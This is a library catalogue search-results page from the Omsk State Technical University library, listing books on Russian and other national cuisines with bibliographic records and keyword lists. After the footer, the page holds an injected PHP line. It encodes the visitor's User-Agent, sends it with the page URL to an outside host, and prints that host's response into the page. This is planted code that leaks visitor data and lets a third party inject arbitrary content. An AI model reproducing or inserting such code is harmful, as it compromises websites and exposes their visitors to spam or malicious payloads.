Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

147 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=КУХНЯ РУССКАЯ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 23
1. 
Похлёбкин В. В. Национальные кухни наших народов [Текст] : основные кулинарные направления, их исторя и особенности, рецептура / В. В. Похлёбкин, 1978. - 303 с.
Держатели документа (Информация об экземплярах) 
2. 
Новоженов Ю. М. Советская национальная кухня [Текст] : практ. пособие / Ю. М. Новоженов, Л. Н. Сопина, 1991. - 319 с.
Держатели документа (Информация об экземплярах) 
3. 
Новоженов Ю. М. Советская национальная кухня [Текст] : практ. пособие / Ю. М. Новоженов, Л. Н. Сопина, 1990. - 319 с.
Держатели документа (Информация об экземплярах) 
4. 
Титюнник А. И. Советская национальная и зарубежная кухня [Текст] : учеб. пособие для сред. проф.-техн. училищ / А. И. Титюнник, Ю. М. Новоженов, 1979. - 479 с.
Ключевые слова 
КУХНЯ РУССКАЯ -- КУХНЯ УКРАИНСКАЯ -- КУХНЯ БЕЛОРУССКАЯ -- КУХНЯ МОЛДАВСКАЯ -- КУХНЯ ГРУЗИНСКАЯ -- КУХНЯ АРМЯНСКАЯ -- КУХНЯ АЗЕРБАЙДЖАНСКАЯ -- КУХНЯ КАЗАХСКАЯ -- КУХНЯ УЗБЕКСКАЯ -- КУХНЯ КИРГИЗСКАЯ -- КУХНЯ ТАДЖИКСКАЯ -- КУХНЯ ТУРКМЕНСКАЯ -- КУХНЯ ЛИТОВСКАЯ -- КУХНЯ ЛАТЫШСКАЯ -- КУХНЯ ЭСТОНСКАЯ -- КУХНЯ БОЛГАРСКАЯ -- КУХНЯ ЮГОСЛАВСКАЯ -- КУХНЯ ВЕНГЕРСКАЯ -- КУХНЯ НЕМЕЦКАЯ -- КУХНЯ ПОЛЬСКАЯ -- КУХНЯ РУМЫНСКАЯ -- КУХНЯ ЧЕШСКАЯ -- КУХНЯ АНГЛИЙСКАЯ -- КУХНЯ АРАБСКАЯ -- КУХНЯ ИНДИЙСКАЯ -- КУХНЯ ИТАЛЬЯНСКАЯ -- КУХНЯ КИТАЙСКАЯ -- КУХНЯ КОРЕЙСКАЯ -- КУХНЯ МОНГОЛЬСКАЯ -- КУХНЯ ЯПОНСКАЯ -- КУХНЯ СКАНДИНАВСКАЯ -- КУХНЯ ФРАНЦУЗСКАЯ -- КУХНЯ ЛАТИНО-АМЕРИКАНСКАЯ
Держатели документа (Информация об экземплярах) 
5. 
Кухня народов Сибирского региона [Электронный ресурс] / сост.: О. В. Пасько, О. В. Макарова, 2011 o=эл. опт. диск
Держатели документа (Информация об экземплярах) 
6. 
Сборник рецептур блюд и кулинарных изделий кухонь народов России для предприятий общественного питания [Текст] / ред. А. Т. Васюкова, 2013. - 210 с.
Ключевые слова 
КУХНЯ КАРЕЛЬСКАЯ -- КУХНЯ НАРОДОВ КОМИ -- КУХНЯ РУССКАЯ -- КУХНЯ БАШКИРСКАЯ -- КУХНЯ МАРИЙСКАЯ -- КУХНЯ МОРДОВСКАЯ -- КУХНЯ ТАТАРСКАЯ -- КУХНЯ УДМУРТСКАЯ -- КУХНЯ ЧУВАШСКАЯ -- КУХНЯ АДЫГЕЙСКАЯ -- КУХНЯ ДАГЕСТАНСКАЯ -- КУХНЯ ДОНСКАЯ -- КУХНЯ КАБАРДИНО-БАЛКАРСКАЯ -- КУХНЯ КАЛМЫЦКАЯ -- КУХНЯ КАРАЧАЕВО-ЧЕРКЕССКАЯ -- КУХНЯ КУБАНСКАЯ -- Кухня абхазская -- Кухня алтайская -- КУХНЯ ИНГУШСКАЯ -- КУХНЯ БУРЯТСКАЯ -- КУХНЯ ЕВРЕЙСКАЯ -- КУХНЯ НАРОДОВ СЕВЕРА -- Кухня курдская -- Кухня нанайская -- Кухня тувинская -- Кухня хакасская -- Кухня чукотская
Держатели документа (Информация об экземплярах) 
7. 
8. 
Сборник рецептур блюд и кулинарных изделий кухонь народов России [Текст] / сост. Л. Е. Голунова, 2001. - 391 с.
Ключевые слова 
КУХНЯ КАРЕЛЬСКАЯ -- КУХНЯ НАРОДОВ КОМИ -- КУХНЯ РУССКАЯ -- КУХНЯ БАШКИРСКАЯ -- КУХНЯ МАРИЙСКАЯ -- КУХНЯ МОРДОВСКАЯ -- КУХНЯ ТАТАРСКАЯ -- КУХНЯ УДМУРТСКАЯ -- КУХНЯ ЧУВАШСКАЯ -- КУХНЯ АДЫГЕЙСКАЯ -- КУХНЯ ДАГЕСТАНСКАЯ -- КУХНЯ ДОНСКАЯ -- КУХНЯ КАБАРДИНО-БАЛКАРСКАЯ -- КУХНЯ КОЛМЫЦКАЯ -- КУХНЯ КАРАЧАЕВО-ЧЕРКЕССКАЯ -- КУХНЯ КУБАНСКАЯ -- КУХНЯ СЕВЕРО-ОСЕТИНСКАЯ -- КУХНЯ ЧЕЧЕНСКАЯ -- КУХНЯ ИНГУШСКАЯ -- КУХНЯ БУРЯТСКАЯ -- КУХНЯ ЕВРЕЙСКАЯ -- КУХНЯ НАРОДОВ СЕВЕРА -- БЛЮДА МЯСНЫЕ -- ГАРНИР -- СОУС -- НАПИТОК ПРОХЛАДИТЕЛЬНЫЙ -- ИЗДЕЛИЯ МУЧНЫЕ -- ВЗАИМОЗАМЕНЯЕМОСТЬ ПРОДУКТОВ
Держатели документа (Информация об экземплярах) 
9. 
Русская кулинария [Текст] / сост. Е. Перлова, 1997. - 130 с.
Держатели документа (Информация об экземплярах) 
10. 
Кухня Сибири [Текст] : учеб. пособие / АНО ВПО "Омский экономический ин-т", Среднее проф. образование, Каф. общественного питания, 2010. - 120 с.
Держатели документа (Информация об экземплярах) 
11. 
Кухня народов Сибирского региона [Текст] : учеб.-метод. пособие для студентов специальности 260501 "Технология продуктов общественного питания" / АНО ВПО "Омский экономический ин-т", каф. технологии продуктов питания, 2008. - 47 с.
Держатели документа (Информация об экземплярах) 
12. 
Антонова М. А. Русская кухня [Текст] : издания для досуга / М. А. Антонова, С. В. Антонов, 2004. - 222 с.
Держатели документа (Информация об экземплярах) 
13. 
Ковалев Н. И. Русская кухня [Текст] : Учеб. пособие для студ. вузов / Н. И. Ковалев, М. Н. Куткина, Н. Я. Карцева, 2000. - 512,[1] с.
Держатели документа (Информация об экземплярах) 
14. 
Сборник рецептур национальных блюд и кулинарных изделий. Ч.5 [Текст] : Сб. технич. нормативов / М-во торговли Рос. Федерации. - 799 с.
Ключевые слова 
КУХНЯ РУССКАЯ -- Кухня башкирская -- Кухня бурятская -- Кухня дагестанская -- Кухня еврейская -- Кухня народов Кубани и Дона -- Кухня кабардино-балкарская -- Кухня карачаево-черкесская -- Кухня карельская -- Кухня народов коми -- Кухня марийская -- Кухня мордовская -- Кухня северо-осетинская -- Кухня татарская -- Кухня удмуртская -- Кухня чувашская -- Кухня азербайджанская -- Кухня армянская -- Кухня белорусская -- Кухня грузинская -- Кухня казахская -- Кухня узбекская -- Кухня украинская
Держатели документа (Информация об экземплярах) 
15. 
Антонова М. А. Лучшие кулинарные рецепты народов СССР [Текст] : издания для досуга / М. А. Антонова, С. В. Антонов, 2003. - 207 с.
Держатели документа (Информация об экземплярах) 
16. 
Похлёбкин В. В. Национальные кухни наших народов [Текст] : издания для досуга / В. В. Похлёбкин, 2004. - 639 с.
Держатели документа (Информация об экземплярах) 
17. 
Сборник рецептур блюд и кулинарных изделий кухонь народов России [Текст] : нормативный документ / сост. Л. Е. Голунова, 2003. - 391 с.
Ключевые слова 
КУХНЯ КАРЕЛЬСКАЯ -- КУХНЯ НАРОДОВ КОМИ -- КУХНЯ РУССКАЯ -- КУХНЯ БАШКИРСКАЯ -- КУХНЯ МАРИЙСКАЯ -- КУХНЯ МОРДОВСКАЯ -- КУХНЯ ТАТАРСКАЯ -- КУХНЯ УДМУРТСКАЯ -- КУХНЯ ЧУВАШСКАЯ -- КУХНЯ АДЫГЕЙСКАЯ -- КУХНЯ ДАГЕСТАНСКАЯ -- КУХНЯ ДОНСКАЯ -- КУХНЯ КАБАРДИНО-БАЛКАРСКАЯ -- КУХНЯ КОЛМЫЦКАЯ -- КУХНЯ КАРАЧАЕВО-ЧЕРКЕССКАЯ -- КУХНЯ КУБАНСКАЯ -- КУХНЯ СЕВЕРО-ОСЕТИНСКАЯ -- КУХНЯ ЧЕЧЕНСКАЯ -- КУХНЯ ИНГУШСКАЯ -- КУХНЯ БУРЯТСКАЯ -- КУХНЯ ЕВРЕЙСКАЯ -- КУХНЯ НАРОДОВ СЕВЕРА -- БЛЮДА МЯСНЫЕ -- ГАРНИР -- СОУС -- НАПИТОК ПРОХЛАДИТЕЛЬНЫЙ -- ИЗДЕЛИЯ МУЧНЫЕ -- ВЗАИМОЗАМЕНЯЕМОСТЬ ПРОДУКТОВ
Держатели документа (Информация об экземплярах) 
18. 
Кухня Сибири: прошлое, настоящее, будущее [Текст] : материалы Региональной науч.-практ. конференции, 19 марта 2004 г. / Гос. образоват. учреждение высш. проф. образования "Красноярский торгово-экономический ин-т", Красноярская краевая ассоциация кулинаров "АККРА", Департамент продовольственных ресурсов, торговли и услуг администрации г. Красноярска, Комитет по делам молодежи администрации г. Красноярска , 2004. - 303 с.
Ключевые слова 
КУХНЯ Сибири -- КУХНЯ НАЦИОНАЛЬНАЯ -- питание рабочих -- ПЕРСОНАЛ В ОБЩЕПИТЕ -- КУХНЯ РУССКАЯ -- КАЛИНА -- Жимолость -- ХЛЕБ - черствение -- ОБЛЕПИХА -- ПИТАНИЕ ШКОЛЬНИКОВ -- МАСЛА ЭФИРНЫЕ -- ХЛЕБ - история -- ХЛЕБ - РОССИЯ -- ОБОРУДОВАНИЕ ХОЛОДИЛЬНОЕ -- ОБОРУДОВАНИЕ КАССОВОЕ -- МАШИНА КОНТРОЛЬНО-КАССОВАЯ -- ОБОРУДОВАНИЕ ВЕСОИЗМЕРИТЕЛЬН -- ШТРИХОВОЕ КОДИРОВАНИЕ -- ПИТАНИЕ - религия -- Великий пост - питание -- СТАРОВЕРЫ - питание -- ВОЛОКНО ПИЩЕВОЕ -- ВЕГЕТАРИНСТВО
Оглавление 
  • Пушмина, И. Н. Проблемы развития ресторанного бизнеса в городе Красноярске / И. Н. Пушмина, И. А. Паршина, Н. В. Морозова. - с.7-13
  • Ларькова, Т. Г. Особенности дизайна предприятий общественного питания г. Красноярска / Т. Г. Ларькова, В. И. Царев. - с.23-27
  • Петренко, А. С. Состояние и перспективы развития кофейного сегмента ресторанного рынка в городе Новосибирске / А. С. Петренко. - с.55-60
  • Бозрикова, А. А. Особенности старинной омской кухни / А. А. Бозрикова. - с.65-68
Держатели документа (Информация об экземплярах) 
19. 
Радужан М. Ю. Курс бармена-официанта [Текст] / М. Ю. Радужан, И. Ю. Митева, 2005. - 220 с.
Держатели документа (Информация об экземплярах) 
20. 
Лотман Ю. М. Великосветские обеды [Текст] : научно-популярная литература / Ю. М. Лотман, Е. А. Погосян. - 318, [1] с.
Держатели документа (Информация об экземплярах) 

Исследование гастрономических нравов русской аристократии середины XIX века



    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3023 - 19.09.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.78 с.12 запросов, 0.39c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;